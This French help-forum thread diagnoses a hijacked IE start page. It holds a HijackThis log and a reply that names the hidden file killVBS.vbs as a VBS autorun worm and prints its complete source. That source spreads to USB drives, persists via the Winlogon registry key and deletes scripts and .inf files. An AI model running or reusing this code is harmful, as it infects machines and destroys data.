Changement de page de démarrage d'IE

Question

Bonjour,
    Mon pc (windows XP, IE 7) est ralenti et la page de démarrage est changée toutes les 20 secondes (bloqué par spybot résident)
je ne vois pas trop d'ou ca vient.
Merci d'avance,
Voici mon rapport hijack this :

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 19:17:05, on 10/02/2008
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.16574)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\wscript.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Fichiers communs\Symantec Shared\CCPD-LC\symlcsvc.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe
C:\WINDOWS\system32\DRIVERS\CDANTSRV.EXE
C:\Program Files\Norton SystemWorks\Norton GoBack\GBPoll.exe
C:\WINDOWS\System32\GEARSec.exe
C:\Program Files\Norton SystemWorks\Norton Ghost\Agent\VProSvc.exe
C:\PROGRA~1\NORTON~1\NORTON~3\NPROTECT.EXE
C:\Program Files\Symantec\LiveUpdate\ALUSchedulerSvc.exe
C:\WINDOWS\system32\slserv.exe
C:\PROGRA~1\NORTON~1\NORTON~3\SPEEDD~1\NOPDB.EXE
C:\Program Files\Java\jre1.6.0_03\bin\jusched.exe
C:\Program Files\VIA\RAID\raid_tool.exe
C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
C:\WINDOWS\SOUNDMAN.EXE
C:\Program Files\Synaptics\SynTP\SynTPLpr.exe
C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
C:\Program Files\Norton SystemWorks\Norton Ghost\Agent\GhostTray.exe
C:\Program Files\QuickTime\qttask.exe
C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\E_S4I0R2.EXE
C:\Program Files\Fichiers communs\Real\Update_OB\realsched.exe
C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Windows Live\Messenger\MsnMsgr.Exe
C:\Program Files\Skype\Phone\Skype.exe
C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
C:\Program Files\Norton SystemWorks\Norton GoBack\GBTray.exe
C:\Program Files\Skype\Plugin Manager\SkypePM.exe
C:\Program Files\Windows Live\Messenger\usnsvc.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Trend Micro\HijackThis\HijackThis.exe

R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = https://www.google.fr/?gws_rd=ssl
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = https://www.msn.com/fr-fr/?ocid=iehp
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = https://www.bing.com/?toHttps=1&redig=5FC791212101479BAFBE1A679848B1AF
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = https://www.bing.com/?toHttps=1&redig=5FC791212101479BAFBE1A679848B1AF
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = https://www.msn.com/fr-fr/?ocid=iehp
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Liens
F2 - REG:system.ini: UserInit=C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\wscript.exe C:\WINDOWS\system32\killVBS.vbs
O2 - BHO: Aide pour le lien d'Adobe PDF Reader - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Fichiers communs\Adobe\Acrobat\ActiveX\AcroIEHelper.dll
O2 - BHO: Skype add-on (mastermind) - {22BF413B-C6D2-4d91-82A9-A0F997BA588C} - C:\PROGRA~1\Skype\Phone\IEPlugin\SKYPEI~1.DLL
O2 - BHO: Spybot-S&D IE Protection - {53707962-6F74-2D53-2644-206D7942484F} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.6.0_03\bin\ssv.dll
O2 - BHO: Programme d'aide de l'Assistant de connexion Windows Live - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files\Fichiers communs\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
O2 - BHO: EpsonToolBandKicker Class - {E99421FB-68DD-40F0-B4AC-B7027CAE2F1A} - C:\Program Files\EPSON\EPSON Web-To-Page\EPSON Web-To-Page.dll
O3 - Toolbar: EPSON Web-To-Page - {EE5D279F-081B-4404-994D-C6B60AAEBA6D} - C:\Program Files\EPSON\EPSON Web-To-Page\EPSON Web-To-Page.dll
O4 - HKLM\..\Run: [High Definition Audio Property Page Shortcut] HDAShCut.exe
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_03\bin\jusched.exe"
O4 - HKLM\..\Run: [RaidTool] C:\Program Files\VIA\RAID\raid_tool.exe
O4 - HKLM\..\Run: [ATIPTA] C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
O4 - HKLM\..\Run: [SoundMan] SOUNDMAN.EXE
O4 - HKLM\..\Run: [AlcWzrd] ALCWZRD.EXE
O4 - HKLM\..\Run: [SynTPLpr] C:\Program Files\Synaptics\SynTP\SynTPLpr.exe
O4 - HKLM\..\Run: [SynTPEnh] C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
O4 - HKLM\..\Run: [Norton Ghost 10.0] "C:\Program Files\Norton SystemWorks\Norton Ghost\Agent\GhostTray.exe"
O4 - HKLM\..\Run: [QuickTime Task] "C:\Program Files\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [EPSON Stylus C86 Series] C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\E_S4I0R2.EXE /P23 "EPSON Stylus C86 Series" /O6 "USB001" /M "Stylus C86"
O4 - HKLM\..\Run: [TkBellExe] "C:\Program Files\Fichiers communs\Real\Update_OB\realsched.exe"  -osboot
O4 - HKLM\..\Run: [Adobe Reader Speed Launcher] "C:\Program Files\Adobe\Reader 8.0\Reader\Reader_sl.exe"
O4 - HKLM\..\Run: [Symantec PIF AlertEng] "C:\Program Files\Fichiers communs\Symantec Shared\PIF\{B8E1DD85-8582-4c61-B58F-2F227FCA9A08}\PIFSvc.exe" /a /m "C:\Program Files\Fichiers communs\Symantec Shared\PIF\{B8E1DD85-8582-4c61-B58F-2F227FCA9A08}\AlertEng.dll"
O4 - HKLM\..\Run: [AVP] "C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe"
O4 - HKCU\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [MsnMsgr] "C:\Program Files\Windows Live\Messenger\MsnMsgr.Exe" /background
O4 - HKCU\..\Run: [Skype] "C:\Program Files\Skype\Phone\Skype.exe" /nosplash /minimized
O4 - HKCU\..\Run: [SpybotSD TeaTimer] C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
O4 - HKUS\S-1-5-19\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'SERVICE LOCAL')
O4 - HKUS\S-1-5-20\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'SERVICE RÉSEAU')
O4 - HKUS\S-1-5-18\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\CTFMON.EXE (User 'Default user')
O4 - Global Startup: Norton GoBack.lnk = C:\Program Files\Norton SystemWorks\Norton GoBack\GBTray.exe
O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present
O8 - Extra context menu item: E&xporter vers Microsoft Excel - res://C:\PROGRA~1\MICROS~2\OFFICE11\EXCEL.EXE/3000
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_03\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Console Java (Sun) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_03\bin\ssv.dll
O9 - Extra button: Statistiques d’Anti-Virus Internet - {1F460357-8A94-4D71-9CA3-AA4ACF32ED8E} - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\SCIEPlgn.dll
O9 - Extra button: Express Cleanup - {5E638779-1818-4754-A595-EF1C63B87A56} - C:\Program Files\Norton SystemWorks\Norton Cleanup\WCQuick.lnk
O9 - Extra 'Tools' menuitem: Express Cleanup - {5E638779-1818-4754-A595-EF1C63B87A56} - C:\Program Files\Norton SystemWorks\Norton Cleanup\WCQuick.lnk
O9 - Extra button: Skype - {77BF5300-1474-4EC7-9980-D32B190E9B07} - C:\PROGRA~1\Skype\Phone\IEPlugin\SKYPEI~1.DLL
O9 - Extra button: Recherche - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~2\OFFICE11\REFIEBAR.DLL
O9 - Extra button: (no name) - {DFB852A3-47F8-48C4-A200-58CAB36FD2A2} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O9 - Extra 'Tools' menuitem: Spybot - Search & Destroy Configuration - {DFB852A3-47F8-48C4-A200-58CAB36FD2A2} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O16 - DPF: {0EB0E74A-2A76-4AB3-A7FB-9BD8C29F7F75} (CKAVWebScan Object) - https://www.kaspersky.fr/?domain=webscanner.kaspersky.fr
O16 - DPF: {4F1E5B1A-2A80-42CA-8532-2D05CB959537} (MSN Photo Upload Tool) - http://annemael.spaces.live.com//PhotoUpload/MsnPUpld.cab
O16 - DPF: {9059F30F-4EB1-4BD2-9FDC-36F43A218F4A} (Microsoft RDP Client Control (redist)) - http://first.groupe-esc-rouen.fr/firstgate/(5qcp3i45s0cejyjvhoxsyl33)/private/tsac/msrdp.cab
O16 - DPF: {C45B1500-7B63-47C2-AB25-C28CB46AFDEE} (MediaBar) - http://sib1.od2.com/common/musicmanager/installation/MusicManagerPlugin.CAB
O16 - DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom Class) - http://www.adobe.com/products/acrobat/nos/gp.cab
O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~1\FICHIE~1\Skype\SKYPE4~1.DLL
O23 - Service: Ati HotKey Poller - ATI Technologies Inc. - C:\WINDOWS\system32\Ati2evxx.exe
O23 - Service: Kaspersky Anti-Virus 7.0 (AVP) - Kaspersky Lab - C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\avp.exe
O23 - Service: C-DillaSrv - C-Dilla Ltd - C:\WINDOWS\system32\DRIVERS\CDANTSRV.EXE
O23 - Service: Symantec Settings Manager (ccSetMgr) - Symantec Corporation - C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
O23 - Service: Symantec Lic NetConnect service (CLTNetCnService) - Symantec Corporation - C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
O23 - Service: GoBack Polling Service (GBPoll) - Symantec Corporation - C:\Program Files\Norton SystemWorks\Norton GoBack\GBPoll.exe
O23 - Service: GEARSecurity - GEAR Software - C:\WINDOWS\System32\GEARSec.exe
O23 - Service: LiveUpdate - Symantec Corporation - C:\PROGRA~1\Symantec\LIVEUP~1\LUCOMS~1.EXE
O23 - Service: LiveUpdate Notice Service Ex (LiveUpdate Notice Ex) - Symantec Corporation - C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
O23 - Service: LiveUpdate Notice Service - Symantec Corporation - C:\Program Files\Fichiers communs\Symantec Shared\PIF\{B8E1DD85-8582-4c61-B58F-2F227FCA9A08}\PIFSvc.exe
O23 - Service: Norton Ghost - Symantec Corporation - C:\Program Files\Norton SystemWorks\Norton Ghost\Agent\VProSvc.exe
O23 - Service: Norton UnErase Protection (NProtectService) - Symantec Corporation - C:\PROGRA~1\NORTON~1\NORTON~3\NPROTECT.EXE
O23 - Service: Planificateur LiveUpdate automatique - Symantec Corporation - C:\Program Files\Symantec\LiveUpdate\ALUSchedulerSvc.exe
O23 - Service: SmartLinkService (SLService) -   - C:\WINDOWS\SYSTEM32\slserv.exe
O23 - Service: Speed Disk service - Symantec Corporation - C:\PROGRA~1\NORTON~1\NORTON~3\SPEEDD~1\NOPDB.EXE
O23 - Service: Symantec Core LC - Unknown owner - C:\Program Files\Fichiers communs\Symantec Shared\CCPD-LC\symlcsvc.exe

--
End of file - 10668 bytes

grosronan · Answer

Kaspersky Online Scanner a détecté "Virus.VBS.AutoRun.d" dans le fichier C:\WINDOWS\system32\killVBS.vbs (fichier caché)
-> http://onecare.live.com/standard/en-us/virusenc/VirusEncInfo.htm?VirusID=8470256

Le contenu du .vbs

'**********************************************************
'******************** Anti autorun vbscript ***************
'******************** Version 1.01          ***************
'**********************************************************
Option Explicit
On Error Resume Next
Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv=File.Drive
Set InDrive = Fso.drives
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do 
If Not Fso.FileExists(SystemDir & "\killVBS.vbs") then
  set WriteAll = Fso.CreateTextFile(SystemDir & "\killVBS.vbs",2,true)
  WriteAll.Write AllFile 
  WriteAll.close
  set WriteAll = Fso.GetFile(SystemDir & "\killVBS.vbs")
  WriteAll.Attributes = -1
End If
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\killVBS.vbs"
For Each Drives In InDrive 

If Drives.DriveType=2 Then
   LookVBS "inf",Drives.Path & "\"
   LookVBS "INF",Drives.Path & "\"
End if  

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
  If Drives.Path<> "A:" Then
      Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
      Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
      LookVBS "vbs",WinDir & "\"
      LookVBS "vbs",Drives.Path  & "\"
    If Drives.DriveType = 1 Then
     If Drives.Path<>"A:" Then
     If Not Fso.FileExists(Drives.Path & "\killVBS.vbs") Then
       Set WriteAll=Fso.CreateTextFile(Drives.Path & "\killVBS.vbs",2,True)
       WriteAll.Write AllFile
       WriteAll.Close
       Set WriteAll = Fso.GetFile(Drives.Path & "\killVBS.vbs")
       WriteAll.Attributes = -1
       End If
       
       If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then 
          Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
          Chg.Attributes = -8
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
          WriteAll.writeline "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
       else
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
          WriteAll.writeline "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
       End if
       End If
     End if
  End if  
  End If
  Next
  if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
 sub LookVBS(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile,Cut,Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
    Cut=Right(oFile.Name,3)
    If UCase(Cut)=UCase(file2find) Then
      If oFile.Name <> "killVBS.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
     End If
    Next
 End sub

Changement de page de démarrage d'IE

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